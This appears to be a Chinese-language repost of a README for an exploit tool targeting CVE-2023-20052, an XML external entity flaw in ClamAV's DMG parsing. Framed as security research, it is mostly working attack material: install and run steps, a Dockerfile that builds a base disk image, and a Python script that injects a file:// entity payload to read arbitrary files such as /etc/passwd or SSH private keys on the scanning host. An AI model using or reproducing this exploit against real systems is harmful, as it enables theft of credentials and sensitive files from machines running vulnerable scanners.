CVE-2023-20052 漏洞利用工具 - DMG 解析器 XXE 漏洞演示

1 阅读3分钟

CVE-2023-20052 漏洞利用工具

本项目是一个针对 CVE-2023-20052 的安全研究与验证工具。该漏洞影响 ClamAV 1.0.0 及更早版本、0.105.1 及更早版本、以及 0.103.7 及更早版本。当 ClamAV 解析特制的 DMG(Apple 磁盘映像)文件时,会触发 XML 外部实体注入,从而可能导致任意文件读取。

功能特性

  • 自动化利用脚本:一键生成包含恶意 XML 外部实体注入的 DMG 文件。
  • 基于 Docker 构建:使用 Docker 多阶段构建,确保构建环境的隔离性和可复现性。
  • 动态文件读取:通过在 DMG 文件中嵌入 file:// 协议的 XXE 载荷,实现目标服务器上任意文件读取。
  • 原始 DMG 生成:利用 libdmg-hfsplusgenisoimage 创建合法的 DMG 结构,增强隐蔽性。

安装指南

系统要求

  • Linux 操作系统(推荐 Ubuntu 或 Debian)
  • Docker 及 Docker Compose(如果需要使用 Docker 运行)
  • Python 3
  • Git

依赖项

  • docker:用于隔离构建环境
  • git:克隆仓库
  • python3:执行 payload 注入脚本

安装步骤

  1. 克隆本仓库到本地:
git clone https://github.com/tralsesec/CVE-2023-20052.git
cd CVE-2023-20052
  1. 确保 Docker 服务已启动并具有 sudo 权限(或已加入 docker 用户组)。

  2. 为利用脚本添加可执行权限:

chmod +x exploit.sh

使用说明

基本用法

运行以下命令启动漏洞利用流程:

./exploit.sh

脚本会交互式提示您输入要读取的目标文件路径,例如:

File to read: (e.g. /etc/passwd or /root/.ssh/id_rsa): /etc/passwd

工作流程

  1. 克隆 libdmg-hfsplus 源码。
  2. 使用 Docker 多阶段构建生成一个基础 DMG 文件(test.imgtest.dmg)。
  3. 使用 Python 脚本解析生成的 test.dmg,定位其中的 XML 结构。
  4. 将标准 XML 头替换为包含 <!ENTITY xxe SYSTEM "file://[目标文件]"> 的外部实体声明。
  5. 修改 blkx 块为 blkx&xxe;,触发实体解析。
  6. 输出最终的恶意 DMG 文件 exploit.dmg

输出示例

[+] Generated exploit.dmg successfully.

生成的 exploit.dmg 文件可被直接用于测试易受攻击的 ClamAV 版本。

API 概述

本工具未提供 API,核心逻辑封装在单一的 exploit.sh 脚本中。脚本核心执行以下操作:

阶段命令/动作说明
构建docker build编译 libdmg-hfsplus 并生成基础 DMG
注入python3 -c "..."修改 DMG 中的 XML 实体以实现文件读取
输出exploit.dmg最终可交付的漏洞利用文件

核心代码

Docker 构建配置

该 Dockerfile 采用多阶段构建,首先在 Ubuntu 16.04 中编译 libdmg-hfsplus,然后在 Ubuntu 22.04 中生成 DMG 文件。

# --- Stage 1: Build ---
FROM ubuntu:16.04 AS builder
RUN apt-get update && apt-get install -y libssl-dev gcc g++ cmake zlib1g-dev make ca-certificates
COPY ./libdmg-hfsplus-source /libdmg-hfsplus
WORKDIR /libdmg-hfsplus
RUN cmake . && make

# --- Stage 2: DMG Generation ---
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y genisoimage ca-certificates && rm -rf /var/lib/apt/lists/*
COPY --from=builder /libdmg-hfsplus/dmg/dmg /bin/dmg
COPY --from=builder /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 /usr/local/lib/libcrypto.so.1.0.0
COPY --from=builder /lib/x86_64-linux-gnu/libssl.so.1.0.0 /usr/local/lib/libssl.so.1.0.0
ENV LD_LIBRARY_PATH=/usr/local/lib

WORKDIR /exploit
ARG CACHEBUST=1
RUN mkdir -p src_dir && echo 'CVE-2023-20052' > src_dir/dummy.txt
RUN genisoimage -D -V 'exploit' -no-pad -r -apple -file-mode 0777 -o test.img ./src_dir && dmg dmg test.img test.dmg
CMD ["cat", "/exploit/test.dmg"]

Python 注入脚本

该脚本负责从生成的 test.dmg 中提取 XML 区域,注入外部实体定义,并输出最终的恶意 DMG 文件。

import os

if os.path.exists('test.dmg'):
    data = open('test.dmg', 'rb').read()
    # 灵活搜索 XML 起始位置,兼容空白字符差异
    if b'<?xml' in data and b'<plist' in data:
        # 提取从 XML 开头到第一个 <dict> 之间的部分
        start_idx = data.find(b'<?xml')
        dict_idx = data.find(b'<dict>')
        if start_idx != -1 and dict_idx != -1:
            old_header = data[start_idx:dict_idx+6]
            # 构建带有 XXE 载荷的新头部
            new_header = b'<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist [<!ENTITY xxe SYSTEM \"file://' + b'$TARGET_FILE' + b'\">]>\n<plist version=\"1.0\">\n<dict>'
            # 替换原头部,并将 blkx 键名替换为 blkx&xxe; 以触发实体解析
            data = data.replace(old_header, new_header).replace(b'blkx', b'blkx&xxe;')
            open('exploit.dmg', 'wb').write(data)
            os.remove('test.dmg')
            print('\n[+] Generated exploit.dmg successfully.')
        else:
            print('\n[-] ERROR: XML-Structure invalid.')
    else:
        print('\n[-] ERROR: XML-Signature was not found in DMG file.')
else:
    print('\n[-] ERROR: test.dmg was not copied.')

6HFtX5dABrKlqXeO5PUv//L4vXQ5wHOuXmp05bKVQiU=